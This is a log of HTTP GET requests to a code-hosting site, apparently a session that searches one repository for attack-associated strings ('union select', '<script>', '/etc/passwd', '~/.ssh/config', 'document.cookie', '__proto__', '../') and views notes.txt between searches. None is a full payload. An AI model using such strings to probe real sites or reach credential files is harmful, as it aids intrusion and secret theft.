{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
